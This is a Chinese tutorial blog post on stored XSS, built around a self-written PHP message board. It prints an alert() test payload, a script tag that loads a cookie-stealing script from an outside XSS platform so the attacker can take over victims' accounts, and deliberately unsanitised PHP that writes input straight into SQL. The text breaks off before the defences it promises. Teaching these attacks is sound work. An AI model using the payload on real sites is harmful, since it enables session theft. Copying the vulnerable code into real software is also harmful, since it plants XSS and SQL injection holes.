主页 > 网络知识 > 存储型XSS的攻防:不想做开发的黑客不是好黑客

存储型XSS的攻防:不想做开发的黑客不是好黑客

它是通过对网页注入可执行代码且成功地被浏览器执行,达到攻击的目的,一般是注入一段javascript脚本。在测试过程中,我们一般是使用:

<script>alert(1)</script>

通过这段js代码,弹个框来证明存在xss漏洞。那么,可能新手就会问了,弹个框有什么用呢?

其实,弹框只是为了证明存在此漏洞。而此漏洞的利用方式由很多种。

比如,你可以使用xss平台:

 

1.png

写入一段平台生成的xss脚本:

 

<script src=//xsspt.com/ZsgUBf></script>

当某人进入带有这个脚本的页面时,js脚本会获取他的cookie并发往xss平台。

你只需要登录xss平台等待即可,拿到cookie后,可以不需要密码登录他的账号。

注意:本文的重点是一步一步以黑客的角度进行xss攻击,再讨论如何站在开发者的角度去一步一步防御xss攻击。所以我会在本文中以开发的身份修正后端代码,再以黑客的身份进行前端页面的xss攻击,这一点需要注意哦。

对于存储型xss漏洞的表现形式,比较经典的是留言板。但是我们都是遵纪守法的好同学,不能对外面的网站进行测试,所以就花半个小时自己手撸一个留言板咯。

首先,应该有前端展示的页面Message_Board.php和后端存储数据的页面addMessage.php

 

2.png

 

前端代码不是本文重点(感兴趣的可以去看看我的代码:https://github.com/BrucessKING/Back-stage-Management

我们重点关注后端代码addMessage.php:

<?php $nickname = @$_POST['nickname'];//昵称 $email = @$_POST['email'];//邮箱 $content = @$_POST['content'];//留言内容 $now_time = @$_POST['now_time'];//留言时间 $ini= @parse_ini_file("config.ini");     $con = @mysql_connect($ini["servername"],$ini["username"],$ini["password"]); if($con){ mysql_query("set names 'utf8'");//解决中文乱码问题 mysql_select_db($ini["dbname"]); $sql1 = "select count(*) from message_board"; $result = mysql_query($sql1); $floor = mysql_fetch_row($result)[0] + 1; $sql = "insert into message_board values($floor,"$nickname","$email","$content","$now_time")"; mysql_query($sql); } ?>

可以看到,我们对传入的四个参数完全没有处理,而是直接存入数据库中。

所以,只要我们这样输入:

 

3.png

提交之后,系统会自动刷新页面出现弹框:

 

 

4.png

 

点击确定后,你会发现留言内容和留言者的部分都为空。

 

 

5.png

 

这是因为js脚本已经被解析了,这时我们按F12,打开浏览器的开发者工具,发现了js脚本。

说点什么吧
  • 全部评论(0
    还没有评论,快来抢沙发吧!